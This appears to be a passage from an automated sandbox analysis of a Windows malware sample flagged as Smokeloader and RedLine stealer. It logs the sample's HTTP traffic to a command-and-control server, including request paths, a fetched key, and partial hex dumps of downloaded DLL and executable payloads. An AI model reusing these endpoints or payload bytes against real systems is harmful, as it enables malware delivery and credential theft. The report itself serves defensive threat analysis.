Dec 20, 2024 16:19:46.772417068 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.772449970 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.772778034 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.772823095 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.772825956 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.772913933 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.773669004 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.773725033 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.773796082 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.773832083 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.774748087 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.774857044 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.823169947 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.823225021 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.823595047 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.823609114 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.823621035 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.823649883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.823677063 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.824492931 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.824543953 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:46.824852943 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:46.824928999 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:51.126631021 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:51.127381086 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:20:15.846662045 CET	49735	80	192.168.2.4	185.156.73.23

HTTP Request Dependency Graph

185.156.73.23

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	185.156.73.23	80	4192	C:\Users\user\Desktop\8V0INSl0E2.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:19:08.662373066 CET	414	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:10.022027016 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:10.072797060 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:10.544985056 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 20, 2024 16:19:10.553195953 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:11.112440109 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 20, 2024 16:19:11.112510920 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 20, 2024 16:19:11.112737894 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 20, 2024 16:19:11.112751007 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 20, 2024 16:19:11.112962961 CET	896	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 20, 2024 16:19:11.113028049 CET	1236	IN	Data Raw: e6 69 2d 49 51 f3 a4 d5 76 b0 82 cf 74 d1 85 19 f7 42 a9 78 eb 0b e9 01 32 e4 1d 91 61 e4 92 ad 68 8b f1 01 d1 83 62 ef 0e ea 87 d8 a0 66 e2 ec 6d df dc 97 39 57 94 e3 66 5a 2b 20 d1 43 cd 8a 07 04 20 9b 76 db 4c a6 9b 12 b9 0c 46 0b 2e ee 08 fc Data Ascii: i-IQvtBx2ahbfm9WfZ+ C vLF.CXb<SK(R?X.!:YjJD^J[,x)<"kp /uTW56"An*M%b"P{$T#/6UC{XQ;,>=
Dec 20, 2024 16:19:11.113045931 CET	1236	IN	Data Raw: df fc 63 59 94 94 22 2e 6e b1 dd f8 1b 24 0c 47 af 41 b3 94 25 ae 63 05 68 cb 3a 78 6c 3a e6 0d fb 89 7f 8a 63 45 33 22 3e 37 2f cf bc bf dc 07 94 6d 6c 26 9b 2d c4 5a 8b a4 95 2b 63 98 62 c1 cf a5 66 8f c2 9e 15 af 99 71 41 93 5a 45 26 fd cf ad Data Ascii: cY".n$GA%ch:xl:cE3">7/ml&-Z+cbfqAZE&j;{1:w\1`gub%gi&!3h+bn,awiHeKQZXrU)DT"->KTgx;1xY6#'BsZy
Dec 20, 2024 16:19:11.113058090 CET	1236	IN	Data Raw: ab 83 12 71 60 ef ac 34 32 d8 70 30 3b 55 9a 12 0e 9f 26 6c be 1f b1 56 29 68 86 1f 1c a5 97 2c 74 ca 37 9a 6a 55 f9 be e3 48 f7 00 72 6f 42 12 41 ec 23 16 2d cd d2 bf 20 52 76 63 2b 78 75 0d b1 13 ba b8 e6 b9 b1 8c 54 24 79 51 3b b2 29 1b ba 44 Data Ascii: q`42p0;U&lV)h,t7jUHroBA#- Rvc+xuT$yQ;)D<1:XRE^7ipg/]BYZe'0ZiU4Nk+@V,E#LQ$iT{}@zFA8F /7B@57ARN"lU^-
Dec 20, 2024 16:19:11.113070011 CET	1236	IN	Data Raw: 2b ed b6 90 93 b5 cb e9 5b 81 d3 0a ac cd 19 0a b7 db 61 4d 90 7d 85 3c 51 38 f9 08 b0 8a 2c 52 5c 3b a3 28 21 b4 b3 8b 95 1d cf 79 a5 e6 17 de 83 a8 dd 37 7c d0 40 73 1a 93 09 91 ed df 13 89 28 1d 8a d0 67 8b 19 59 81 4b 0b 18 94 db ad 26 01 9f Data Ascii: +[aM}<Q8,R\;(!y7\|@s(gYK&&nB<H3Qh-`uK^TG{cKiF{R_y\|w.y0Pc-:gZdSw^P;$)SL'3{y
Dec 20, 2024 16:19:11.120970964 CET	1236	IN	Data Raw: 54 e5 fd b2 c6 83 f0 18 cc 3c bb a5 89 7b 89 54 98 d8 15 a6 fa 49 a4 67 d0 03 82 eb c7 42 29 b9 76 f8 01 5c 2b 20 0a 5c 1d 33 83 13 83 42 79 3d 7e c9 17 b3 a3 51 aa c8 b6 32 7d 48 b8 ad f1 c2 7d 0a 69 9d c2 d2 7a 9b 73 02 47 89 ff 76 3e 73 48 a6 Data Ascii: T<{TIgB)v\+ \3By=~Q2}H}izsGv>sH4w3*gWM\|E j;zq{1"7:ZSe%%_d6YLVl]Rk&06B>lJk(:OB+8aQ$Mnwka{
Dec 20, 2024 16:19:11.121098995 CET	1236	IN	Data Raw: 5c d2 2a c3 33 ff 78 3e 6f b5 ff a6 6c 71 6d 25 ef c6 14 af 9c 6f 38 91 81 96 1f ad 1d af 35 bc c0 00 0c 9f 24 93 c9 3c e6 d2 fa 28 eb 2b 80 23 82 81 de 2e ac 96 52 f9 19 0f 6b e2 00 36 46 1d c0 9d 55 0b 0f 62 85 f0 77 cb de 0e 5b 62 17 62 91 0d Data Ascii: \3x>olqm%o85$<(+#.Rk6FUbw[bbK[FV%#33<ilf.JiN<T=vroh'ekzw,`3MG]snz1;DBKG4h2)N%5^6x8dW61~
Dec 20, 2024 16:19:11.611946106 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:12.100583076 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:14.136645079 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:14.671808958 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:16.699244022 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:17.198189974 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:19.284249067 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:20.108987093 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:22.136488914 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:22.990149975 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:25.027235031 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:25.553534031 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:27.589895964 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:28.125155926 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:30.198832989 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:31.360497952 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:33.402473927 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:33.940500021 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:35.980062962 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:36.516155005 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:38.543700933 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:39.387099981 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:39 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:19:42.464445114 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:43.151519060 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 20, 2024 16:19:43.780962944 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:19:44.551465034 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:43 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 8V0INSl0E2.exePID: 4192, Parent PID: 2580

General

Target ID:	0
Start time:	10:18:47
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\8V0INSl0E2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8V0INSl0E2.exe"
Imagebase:	0x400000
File size:	1'987'072 bytes
MD5 hash:	E6A1C97A26A0901473F9CA53CD39967F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2597293935.0000000000E19000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 3848, Parent PID: 4192

General

Target ID:	6
Start time:	10:19:46
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 468
Imagebase:	0x5f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

